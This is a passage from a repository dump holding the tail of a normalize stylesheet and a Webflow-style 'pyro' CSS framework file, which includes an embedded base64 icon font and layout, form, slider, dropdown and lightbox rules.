1. CUSTOM FOR pyro: changed from `textfield` to `none` to normalize iOS rounded input\n * 2. CUSTOM FOR pyro: box-sizing: content-box rule removed\n *    (similar to normalize.css >=4.0.0)\n */\ninput[type=\"search\"] {\n  -webkit-appearance: none;\n  /* 1 */\n}\n/**\n * Remove inner padding and search cancel button in Safari and Chrome on OS X.\n * Safari (but not Chrome) clips the cancel button when the search input has\n * padding (and `textfield` appearance).\n */\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n/**\n * Define consistent border, margin, and padding.\n */\nfieldset {\n  border: 1px solid #c0c0c0;\n  margin: 0 2px;\n  padding: 0.35em 0.625em 0.75em;\n}\n/**\n * 1. Correct `color` not being inherited in IE 8/9/10/11.\n * 2. Remove padding so people aren't caught out if they zero out fieldsets.\n */\nlegend {\n  border: 0;\n  /* 1 */\n  padding: 0;\n  /* 2 */\n}\n/**\n * Remove default vertical scrollbar in IE 8/9/10/11.\n */\ntextarea {\n  overflow: auto;\n}\n/**\n * Don't inherit the `font-weight` (applied by a rule above).\n * NOTE: the default cannot safely be changed in Chrome and Safari on OS X.\n */\noptgroup {\n  font-weight: bold;\n}\n/* Tables\n   ========================================================================== */\n/**\n * Remove most spacing between table cells.\n */\ntable {\n  border-collapse: collapse;\n  border-spacing: 0;\n}\ntd,\nth {\n  padding: 0;\n}\n"
  },
  {
    "path": "docs/web/css/pyro.css",
    "content": "@font-face {\n  font-family: 'pyro-icons';\n  src: url(\"data:application/x-font-ttf;charset=utf-8;base64,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\") format('truetype');\n  font-weight: normal;\n  font-style: normal;\n}\n[class^=\"w-icon-\"],\n[class*=\" w-icon-\"] {\n  /* use !important to prevent issues with browser extensions that change fonts */\n  font-family: 'pyro-icons' !important;\n  speak: none;\n  font-style: normal;\n  font-weight: normal;\n  font-variant: normal;\n  text-transform: none;\n  line-height: 1;\n  /* Better Font Rendering =========== */\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.w-icon-slider-right:before {\n  content: \"\\e600\";\n}\n.w-icon-slider-left:before {\n  content: \"\\e601\";\n}\n.w-icon-nav-menu:before {\n  content: \"\\e602\";\n}\n.w-icon-arrow-down:before,\n.w-icon-dropdown-toggle:before {\n  content: \"\\e603\";\n}\n.w-icon-file-upload-remove:before {\n  content: \"\\e900\";\n}\n.w-icon-file-upload-icon:before {\n  content: \"\\e903\";\n}\n* {\n  -webkit-box-sizing: border-box;\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n}\nhtml {\n  height: 100%;\n}\nbody {\n  margin: 0;\n  min-height: 100%;\n  background-color: #fff;\n  font-family: Arial, sans-serif;\n  font-size: 14px;\n  line-height: 20px;\n  color: #333;\n}\nimg {\n  max-width: 100%;\n  vertical-align: middle;\n  display: inline-block;\n}\nhtml.w-mod-touch * {\n  background-attachment: scroll !important;\n}\n.w-block {\n  display: block;\n}\n.w-inline-block {\n  max-width: 100%;\n  display: inline-block;\n}\n.w-clearfix:before,\n.w-clearfix:after {\n  content: \" \";\n  display: table;\n  grid-column-start: 1;\n  grid-row-start: 1;\n  grid-column-end: 2;\n  grid-row-end: 2;\n}\n.w-clearfix:after {\n  clear: both;\n}\n.w-hidden {\n  display: none;\n}\n.w-button {\n  display: inline-block;\n  padding: 9px 15px;\n  background-color: #3898EC;\n  color: white;\n  border: 0;\n  line-height: inherit;\n  text-decoration: none;\n  cursor: pointer;\n  border-radius: 0;\n}\ninput.w-button {\n  -webkit-appearance: button;\n}\nhtml[data-p-dynpage] [data-p-cloak] {\n  color: transparent !important;\n}\n.w-pyro-badge,\n.w-pyro-badge * {\n  position: static;\n  left: auto;\n  top: auto;\n  right: auto;\n  bottom: auto;\n  z-index: auto;\n  display: block;\n  visibility: visible;\n  overflow: visible;\n  overflow-x: visible;\n  overflow-y: visible;\n  box-sizing: border-box;\n  width: auto;\n  height: auto;\n  max-height: none;\n  max-width: none;\n  min-height: 0;\n  min-width: 0;\n  margin: 0;\n  padding: 0;\n  float: none;\n  clear: none;\n  border: 0 none transparent;\n  border-radius: 0;\n  background: none;\n  background-image: none;\n  background-position: 0% 0%;\n  background-size: auto auto;\n  background-repeat: repeat;\n  background-origin: padding-box;\n  background-clip: border-box;\n  background-attachment: scroll;\n  background-color: transparent;\n  box-shadow: none;\n  opacity: 1.0;\n  transform: none;\n  transition: none;\n  direction: ltr;\n  font-family: inherit;\n  font-weight: inherit;\n  color: inherit;\n  font-size: inherit;\n  line-height: inherit;\n  font-style: inherit;\n  font-variant: inherit;\n  text-align: inherit;\n  letter-spacing: inherit;\n  text-decoration: inherit;\n  text-indent: 0;\n  text-transform: inherit;\n  list-style-type: disc;\n  text-shadow: none;\n  font-smoothing: auto;\n  vertical-align: baseline;\n  cursor: inherit;\n  white-space: inherit;\n  word-break: normal;\n  word-spacing: normal;\n  word-wrap: normal;\n}\n.w-pyro-badge {\n  position: fixed !important;\n  display: inline-block !important;\n  visibility: visible !important;\n  opacity: 1 !important;\n  z-index: 2147483647 !important;\n  top: auto !important;\n  right: 12px !important;\n  bottom: 12px !important;\n  left: auto !important;\n  color: #AAADB0 !important;\n  background-color: #fff !important;\n  border-radius: 3px !important;\n  padding: 6px 8px 6px 6px !important;\n  font-size: 12px !important;\n  opacity: 1.0 !important;\n  line-height: 14px !important;\n  text-decoration: none !important;\n  transform: none !important;\n  margin: 0 !important;\n  width: auto !important;\n  height: auto !important;\n  overflow: visible !important;\n  white-space: nowrap;\n  box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.1), 0px 1px 3px rgba(0, 0, 0, 0.1);\n  cursor: pointer;\n}\n.w-pyro-badge > img {\n  display: inline-block !important;\n  visibility: visible !important;\n  opacity: 1 !important;\n  vertical-align: middle !important;\n}\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n  font-weight: bold;\n  margin-bottom: 10px;\n}\nh1 {\n  font-size: 38px;\n  line-height: 44px;\n  margin-top: 20px;\n}\nh2 {\n  font-size: 32px;\n  line-height: 36px;\n  margin-top: 20px;\n}\nh3 {\n  font-size: 24px;\n  line-height: 30px;\n  margin-top: 20px;\n}\nh4 {\n  font-size: 18px;\n  line-height: 24px;\n  margin-top: 10px;\n}\nh5 {\n  font-size: 14px;\n  line-height: 20px;\n  margin-top: 10px;\n}\nh6 {\n  font-size: 12px;\n  line-height: 18px;\n  margin-top: 10px;\n}\np {\n  margin-top: 0;\n  margin-bottom: 10px;\n}\nblockquote {\n  margin: 0 0 10px 0;\n  padding: 10px 20px;\n  border-left: 5px solid #E2E2E2;\n  font-size: 18px;\n  line-height: 22px;\n}\nfigure {\n  margin: 0;\n  margin-bottom: 10px;\n}\nfigcaption {\n  margin-top: 5px;\n  text-align: center;\n}\nul,\nol {\n  margin-top: 0px;\n  margin-bottom: 10px;\n  padding-left: 40px;\n}\n.w-list-unstyled {\n  padding-left: 0;\n  list-style: none;\n}\n.w-embed:before,\n.w-embed:after {\n  content: \" \";\n  display: table;\n  grid-column-start: 1;\n  grid-row-start: 1;\n  grid-column-end: 2;\n  grid-row-end: 2;\n}\n.w-embed:after {\n  clear: both;\n}\n.w-video {\n  width: 100%;\n  position: relative;\n  padding: 0;\n}\n.w-video iframe,\n.w-video object,\n.w-video embed {\n  position: absolute;\n  top: 0;\n  left: 0;\n  width: 100%;\n  height: 100%;\n}\nfieldset {\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\nbutton,\nhtml input[type=\"button\"],\ninput[type=\"reset\"] {\n  border: 0;\n  cursor: pointer;\n  -webkit-appearance: button;\n}\n.w-form {\n  margin: 0 0 15px;\n}\n.w-form-done {\n  display: none;\n  padding: 20px;\n  text-align: center;\n  background-color: #dddddd;\n}\n.w-form-fail {\n  display: none;\n  margin-top: 10px;\n  padding: 10px;\n  background-color: #ffdede;\n}\nlabel {\n  display: block;\n  margin-bottom: 5px;\n  font-weight: bold;\n}\n.w-input,\n.w-select {\n  display: block;\n  width: 100%;\n  height: 38px;\n  padding: 8px 12px;\n  margin-bottom: 10px;\n  font-size: 14px;\n  line-height: 1.428571429;\n  color: #333333;\n  vertical-align: middle;\n  background-color: #ffffff;\n  border: 1px solid #cccccc;\n}\n.w-input:-moz-placeholder,\n.w-select:-moz-placeholder {\n  color: #999;\n}\n.w-input::-moz-placeholder,\n.w-select::-moz-placeholder {\n  color: #999;\n  opacity: 1;\n}\n.w-input:-ms-input-placeholder,\n.w-select:-ms-input-placeholder {\n  color: #999;\n}\n.w-input::-webkit-input-placeholder,\n.w-select::-webkit-input-placeholder {\n  color: #999;\n}\n.w-input:focus,\n.w-select:focus {\n  border-color: #3898EC;\n  outline: 0;\n}\n.w-input[disabled],\n.w-select[disabled],\n.w-input[readonly],\n.w-select[readonly],\nfieldset[disabled] .w-input,\nfieldset[disabled] .w-select {\n  cursor: not-allowed;\n  background-color: #eeeeee;\n}\ntextarea.w-input,\ntextarea.w-select {\n  height: auto;\n}\n.w-select {\n  background-color: #f3f3f3;\n}\n.w-select[multiple] {\n  height: auto;\n}\n.w-form-label {\n  display: inline-block;\n  cursor: pointer;\n  font-weight: normal;\n  margin-bottom: 0px;\n}\n.w-radio {\n  display: block;\n  margin-bottom: 5px;\n  padding-left: 20px;\n}\n.w-radio:before,\n.w-radio:after {\n  content: \" \";\n  display: table;\n  grid-column-start: 1;\n  grid-row-start: 1;\n  grid-column-end: 2;\n  grid-row-end: 2;\n}\n.w-radio:after {\n  clear: both;\n}\n.w-radio-input {\n  margin: 4px 0 0;\n  margin-top: 1px \\9;\n  line-height: normal;\n  float: left;\n  margin-left: -20px;\n}\n.w-radio-input {\n  margin-top: 3px;\n}\n.w-file-upload {\n  display: block;\n  margin-bottom: 10px;\n}\n.w-file-upload-input {\n  width: 0.1px;\n  height: 0.1px;\n  opacity: 0;\n  overflow: hidden;\n  position: absolute;\n  z-index: -100;\n}\n.w-file-upload-default,\n.w-file-upload-uploading,\n.w-file-upload-success {\n  display: inline-block;\n  color: #333333;\n}\n.w-file-upload-error {\n  display: block;\n  margin-top: 10px;\n}\n.w-file-upload-default.w-hidden,\n.w-file-upload-uploading.w-hidden,\n.w-file-upload-error.w-hidden,\n.w-file-upload-success.w-hidden {\n  display: none;\n}\n.w-file-upload-uploading-btn {\n  display: flex;\n  font-size: 14px;\n  font-weight: normal;\n  cursor: pointer;\n  margin: 0;\n  padding: 8px 12px;\n  border: 1px solid #cccccc;\n  background-color: #fafafa;\n}\n.w-file-upload-file {\n  display: flex;\n  flex-grow: 1;\n  justify-content: space-between;\n  margin: 0;\n  padding: 8px 9px 8px 11px;\n  border: 1px solid #cccccc;\n  background-color: #fafafa;\n}\n.w-file-upload-file-name {\n  font-size: 14px;\n  font-weight: normal;\n  display: block;\n}\n.w-file-remove-link {\n  margin-top: 3px;\n  margin-left: 10px;\n  width: auto;\n  height: auto;\n  padding: 3px;\n  display: block;\n  cursor: pointer;\n}\n.w-icon-file-upload-remove {\n  margin: auto;\n  font-size: 10px;\n}\n.w-file-upload-error-msg {\n  display: inline-block;\n  color: #ea384c;\n  padding: 2px 0;\n}\n.w-file-upload-info {\n  display: inline-block;\n  line-height: 38px;\n  padding: 0 12px;\n}\n.w-file-upload-label {\n  display: inline-block;\n  font-size: 14px;\n  font-weight: normal;\n  cursor: pointer;\n  margin: 0;\n  padding: 8px 12px;\n  border: 1px solid #cccccc;\n  background-color: #fafafa;\n}\n.w-icon-file-upload-icon,\n.w-icon-file-upload-uploading {\n  display: inline-block;\n  margin-right: 8px;\n  width: 20px;\n}\n.w-icon-file-upload-uploading {\n  height: 20px;\n}\n.w-container {\n  margin-left: auto;\n  margin-right: auto;\n  max-width: 940px;\n}\n.w-container:before,\n.w-container:after {\n  content: \" \";\n  display: table;\n  grid-column-start: 1;\n  grid-row-start: 1;\n  grid-column-end: 2;\n  grid-row-end: 2;\n}\n.w-container:after {\n  clear: both;\n}\n.w-container .w-row {\n  margin-left: -10px;\n  margin-right: -10px;\n}\n.w-row:before,\n.w-row:after {\n  content: \" \";\n  display: table;\n  grid-column-start: 1;\n  grid-row-start: 1;\n  grid-column-end: 2;\n  grid-row-end: 2;\n}\n.w-row:after {\n  clear: both;\n}\n.w-row .w-row {\n  margin-left: 0;\n  margin-right: 0;\n}\n.w-col {\n  position: relative;\n  float: left;\n  width: 100%;\n  min-height: 1px;\n  padding-left: 10px;\n  padding-right: 10px;\n}\n.w-col .w-col {\n  padding-left: 0;\n  padding-right: 0;\n}\n.w-col-1 {\n  width: 8.33333333%;\n}\n.w-col-2 {\n  width: 16.66666667%;\n}\n.w-col-3 {\n  width: 25%;\n}\n.w-col-4 {\n  width: 33.33333333%;\n}\n.w-col-5 {\n  width: 41.66666667%;\n}\n.w-col-6 {\n  width: 50%;\n}\n.w-col-7 {\n  width: 58.33333333%;\n}\n.w-col-8 {\n  width: 66.66666667%;\n}\n.w-col-9 {\n  width: 75%;\n}\n.w-col-10 {\n  width: 83.33333333%;\n}\n.w-col-11 {\n  width: 91.66666667%;\n}\n.w-col-12 {\n  width: 100%;\n}\n.w-hidden-main {\n  display: none !important;\n}\n@media screen and (max-width: 991px) {\n  .w-container {\n    max-width: 728px;\n  }\n  .w-hidden-main {\n    display: inherit !important;\n  }\n  .w-hidden-medium {\n    display: none !important;\n  }\n  .w-col-medium-1 {\n    width: 8.33333333%;\n  }\n  .w-col-medium-2 {\n    width: 16.66666667%;\n  }\n  .w-col-medium-3 {\n    width: 25%;\n  }\n  .w-col-medium-4 {\n    width: 33.33333333%;\n  }\n  .w-col-medium-5 {\n    width: 41.66666667%;\n  }\n  .w-col-medium-6 {\n    width: 50%;\n  }\n  .w-col-medium-7 {\n    width: 58.33333333%;\n  }\n  .w-col-medium-8 {\n    width: 66.66666667%;\n  }\n  .w-col-medium-9 {\n    width: 75%;\n  }\n  .w-col-medium-10 {\n    width: 83.33333333%;\n  }\n  .w-col-medium-11 {\n    width: 91.66666667%;\n  }\n  .w-col-medium-12 {\n    width: 100%;\n  }\n  .w-col-stack {\n    width: 100%;\n    left: auto;\n    right: auto;\n  }\n}\n@media screen and (max-width: 767px) {\n  .w-hidden-main {\n    display: inherit !important;\n  }\n  .w-hidden-medium {\n    display: inherit !important;\n  }\n  .w-hidden-small {\n    display: none !important;\n  }\n  .w-row,\n  .w-container .w-row {\n    margin-left: 0;\n    margin-right: 0;\n  }\n  .w-col {\n    width: 100%;\n    left: auto;\n    right: auto;\n  }\n  .w-col-small-1 {\n    width: 8.33333333%;\n  }\n  .w-col-small-2 {\n    width: 16.66666667%;\n  }\n  .w-col-small-3 {\n    width: 25%;\n  }\n  .w-col-small-4 {\n    width: 33.33333333%;\n  }\n  .w-col-small-5 {\n    width: 41.66666667%;\n  }\n  .w-col-small-6 {\n    width: 50%;\n  }\n  .w-col-small-7 {\n    width: 58.33333333%;\n  }\n  .w-col-small-8 {\n    width: 66.66666667%;\n  }\n  .w-col-small-9 {\n    width: 75%;\n  }\n  .w-col-small-10 {\n    width: 83.33333333%;\n  }\n  .w-col-small-11 {\n    width: 91.66666667%;\n  }\n  .w-col-small-12 {\n    width: 100%;\n  }\n}\n@media screen and (max-width: 479px) {\n  .w-container {\n    max-width: none;\n  }\n  .w-hidden-main {\n    display: inherit !important;\n  }\n  .w-hidden-medium {\n    display: inherit !important;\n  }\n  .w-hidden-small {\n    display: inherit !important;\n  }\n  .w-hidden-tiny {\n    display: none !important;\n  }\n  .w-col {\n    width: 100%;\n  }\n  .w-col-tiny-1 {\n    width: 8.33333333%;\n  }\n  .w-col-tiny-2 {\n    width: 16.66666667%;\n  }\n  .w-col-tiny-3 {\n    width: 25%;\n  }\n  .w-col-tiny-4 {\n    width: 33.33333333%;\n  }\n  .w-col-tiny-5 {\n    width: 41.66666667%;\n  }\n  .w-col-tiny-6 {\n    width: 50%;\n  }\n  .w-col-tiny-7 {\n    width: 58.33333333%;\n  }\n  .w-col-tiny-8 {\n    width: 66.66666667%;\n  }\n  .w-col-tiny-9 {\n    width: 75%;\n  }\n  .w-col-tiny-10 {\n    width: 83.33333333%;\n  }\n  .w-col-tiny-11 {\n    width: 91.66666667%;\n  }\n  .w-col-tiny-12 {\n    width: 100%;\n  }\n}\n.w-widget {\n  position: relative;\n}\n.w-widget-map {\n  width: 100%;\n  height: 400px;\n}\n.w-widget-map label {\n  width: auto;\n  display: inline;\n}\n.w-widget-map img {\n  max-width: inherit;\n}\n.w-widget-map .gm-style-iw {\n  text-align: center;\n}\n.w-widget-map .gm-style-iw > button {\n  display: none !important;\n}\n.w-widget-twitter {\n  overflow: hidden;\n}\n.w-widget-twitter-count-shim {\n  display: inline-block;\n  vertical-align: top;\n  position: relative;\n  width: 28px;\n  height: 20px;\n  text-align: center;\n  background: white;\n  border: #758696 solid 1px;\n  border-radius: 3px;\n}\n.w-widget-twitter-count-shim * {\n  pointer-events: none;\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n}\n.w-widget-twitter-count-shim .w-widget-twitter-count-inner {\n  position: relative;\n  font-size: 15px;\n  line-height: 12px;\n  text-align: center;\n  color: #999;\n  font-family: serif;\n}\n.w-widget-twitter-count-shim .w-widget-twitter-count-clear {\n  position: relative;\n  display: block;\n}\n.w-widget-twitter-count-shim.w--large {\n  width: 36px;\n  height: 28px;\n  margin-left: 7px;\n}\n.w-widget-twitter-count-shim.w--large .w-widget-twitter-count-inner {\n  font-size: 18px;\n  line-height: 18px;\n}\n.w-widget-twitter-count-shim:not(.w--vertical) {\n  margin-left: 5px;\n  margin-right: 8px;\n}\n.w-widget-twitter-count-shim:not(.w--vertical).w--large {\n  margin-left: 6px;\n}\n.w-widget-twitter-count-shim:not(.w--vertical):before,\n.w-widget-twitter-count-shim:not(.w--vertical):after {\n  top: 50%;\n  left: 0;\n  border: solid transparent;\n  content: \" \";\n  height: 0;\n  width: 0;\n  position: absolute;\n  pointer-events: none;\n}\n.w-widget-twitter-count-shim:not(.w--vertical):before {\n  border-color: rgba(117, 134, 150, 0);\n  border-right-color: #5d6c7b;\n  border-width: 4px;\n  margin-left: -9px;\n  margin-top: -4px;\n}\n.w-widget-twitter-count-shim:not(.w--vertical).w--large:before {\n  border-width: 5px;\n  margin-left: -10px;\n  margin-top: -5px;\n}\n.w-widget-twitter-count-shim:not(.w--vertical):after {\n  border-color: rgba(255, 255, 255, 0);\n  border-right-color: white;\n  border-width: 4px;\n  margin-left: -8px;\n  margin-top: -4px;\n}\n.w-widget-twitter-count-shim:not(.w--vertical).w--large:after {\n  border-width: 5px;\n  margin-left: -9px;\n  margin-top: -5px;\n}\n.w-widget-twitter-count-shim.w--vertical {\n  width: 61px;\n  height: 33px;\n  margin-bottom: 8px;\n}\n.w-widget-twitter-count-shim.w--vertical:before,\n.w-widget-twitter-count-shim.w--vertical:after {\n  top: 100%;\n  left: 50%;\n  border: solid transparent;\n  content: \" \";\n  height: 0;\n  width: 0;\n  position: absolute;\n  pointer-events: none;\n}\n.w-widget-twitter-count-shim.w--vertical:before {\n  border-color: rgba(117, 134, 150, 0);\n  border-top-color: #5d6c7b;\n  border-width: 5px;\n  margin-left: -5px;\n}\n.w-widget-twitter-count-shim.w--vertical:after {\n  border-color: rgba(255, 255, 255, 0);\n  border-top-color: white;\n  border-width: 4px;\n  margin-left: -4px;\n}\n.w-widget-twitter-count-shim.w--vertical .w-widget-twitter-count-inner {\n  font-size: 18px;\n  line-height: 22px;\n}\n.w-widget-twitter-count-shim.w--vertical.w--large {\n  width: 76px;\n}\n.w-widget-gplus {\n  overflow: hidden;\n}\n.w-background-video {\n  position: relative;\n  overflow: hidden;\n  height: 500px;\n  color: white;\n}\n.w-background-video > video {\n  background-size: cover;\n  background-position: 50% 50%;\n  position: absolute;\n  margin: auto;\n  width: 100%;\n  height: 100%;\n  right: -100%;\n  bottom: -100%;\n  top: -100%;\n  left: -100%;\n  object-fit: cover;\n  z-index: -100;\n}\n.w-background-video > video::-webkit-media-controls-start-playback-button {\n  display: none !important;\n  -webkit-appearance: none;\n}\n.w-slider {\n  position: relative;\n  height: 300px;\n  text-align: center;\n  background: #dddddd;\n  clear: both;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n  tap-highlight-color: rgba(0, 0, 0, 0);\n}\n.w-slider-mask {\n  position: relative;\n  display: block;\n  overflow: hidden;\n  z-index: 1;\n  left: 0;\n  right: 0;\n  height: 100%;\n  white-space: nowrap;\n}\n.w-slide {\n  position: relative;\n  display: inline-block;\n  vertical-align: top;\n  width: 100%;\n  height: 100%;\n  white-space: normal;\n  text-align: left;\n}\n.w-slider-nav {\n  position: absolute;\n  z-index: 2;\n  top: auto;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  margin: auto;\n  padding-top: 10px;\n  height: 40px;\n  text-align: center;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n  tap-highlight-color: rgba(0, 0, 0, 0);\n}\n.w-slider-nav.w-round > div {\n  border-radius: 100%;\n}\n.w-slider-nav.w-num > div {\n  width: auto;\n  height: auto;\n  padding: 0.2em 0.5em;\n  font-size: inherit;\n  line-height: inherit;\n}\n.w-slider-nav.w-shadow > div {\n  box-shadow: 0 0 3px rgba(51, 51, 51, 0.4);\n}\n.w-slider-nav-invert {\n  color: #fff;\n}\n.w-slider-nav-invert > div {\n  background-color: rgba(34, 34, 34, 0.4);\n}\n.w-slider-nav-invert > div.w-active {\n  background-color: #222;\n}\n.w-slider-dot {\n  position: relative;\n  display: inline-block;\n  width: 1em;\n  height: 1em;\n  background-color: rgba(255, 255, 255, 0.4);\n  cursor: pointer;\n  margin: 0 3px 0.5em;\n  transition: background-color 100ms, color 100ms;\n}\n.w-slider-dot.w-active {\n  background-color: #fff;\n}\n.w-slider-arrow-left,\n.w-slider-arrow-right {\n  position: absolute;\n  width: 80px;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  margin: auto;\n  cursor: pointer;\n  overflow: hidden;\n  color: white;\n  font-size: 40px;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n  tap-highlight-color: rgba(0, 0, 0, 0);\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n}\n.w-slider-arrow-left [class^=\"w-icon-\"],\n.w-slider-arrow-right [class^=\"w-icon-\"],\n.w-slider-arrow-left [class*=\" w-icon-\"],\n.w-slider-arrow-right [class*=\" w-icon-\"] {\n  position: absolute;\n}\n.w-slider-arrow-left {\n  z-index: 3;\n  right: auto;\n}\n.w-slider-arrow-right {\n  z-index: 4;\n  left: auto;\n}\n.w-icon-slider-left,\n.w-icon-slider-right {\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  margin: auto;\n  width: 1em;\n  height: 1em;\n}\n.w-dropdown {\n  display: inline-block;\n  position: relative;\n  text-align: left;\n  margin-left: auto;\n  margin-right: auto;\n  z-index: 900;\n}\n.w-dropdown-btn,\n.w-dropdown-toggle,\n.w-dropdown-link {\n  position: relative;\n  vertical-align: top;\n  text-decoration: none;\n  color: #222222;\n  padding: 20px;\n  text-align: left;\n  margin-left: auto;\n  margin-right: auto;\n  white-space: nowrap;\n}\n.w-dropdown-toggle {\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n  display: inline-block;\n  cursor: pointer;\n  padding-right: 40px;\n}\n.w-icon-dropdown-toggle {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  margin: auto;\n  margin-right: 20px;\n  width: 1em;\n  height: 1em;\n}\n.w-dropdown-list {\n  position: absolute;\n  background: #dddddd;\n  display: none;\n  min-width: 100%;\n}\n.w-dropdown-list.w--open {\n  display: block;\n}\n.w-dropdown-link {\n  padding: 10px 20px;\n  display: block;\n  color: #222222;\n}\n.w-dropdown-link.w--current {\n  color: #0082f3;\n}\n@media screen and (max-width: 767px) {\n  .w-nav-brand {\n    padding-left: 10px;\n  }\n}\n/**\n * ## Note\n * Safari (on both iOS and OS X) does not handle viewport units (vh, vw) well.\n * For example percentage units do not work on descendants of elements that\n * have any dimensions expressed in viewport units. It also doesn’t handle them at\n * all in `calc()`.\n */\n/**\n * Wrapper around all lightbox elements\n *\n * 1. Since the lightbox can receive focus, IE also gives it an outline.\n * 2. Fixes flickering on Chrome when a transition is in progress\n *    underneath the lightbox.\n */\n.w-lightbox-backdrop {\n  color: #000;\n  cursor: auto;\n  font-family: serif;\n  font-size: medium;\n  font-style: normal;\n  font-variant: normal;\n  font-weight: normal;\n  letter-spacing: normal;\n  line-height: normal;\n  list-style: disc;\n  text-align: start;\n  text-indent: 0;\n  text-shadow: none;\n  text-transform: none;\n  visibility: visible;\n  white-space: normal;\n  word-break: normal;\n  word-spacing: normal;\n  word-wrap: normal;\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  color: #fff;\n  font-family: \"Helvetica Neue\", Helvetica, Ubuntu, \"Segoe UI\", Verdana, sans-serif;\n  font-size: 17px;\n  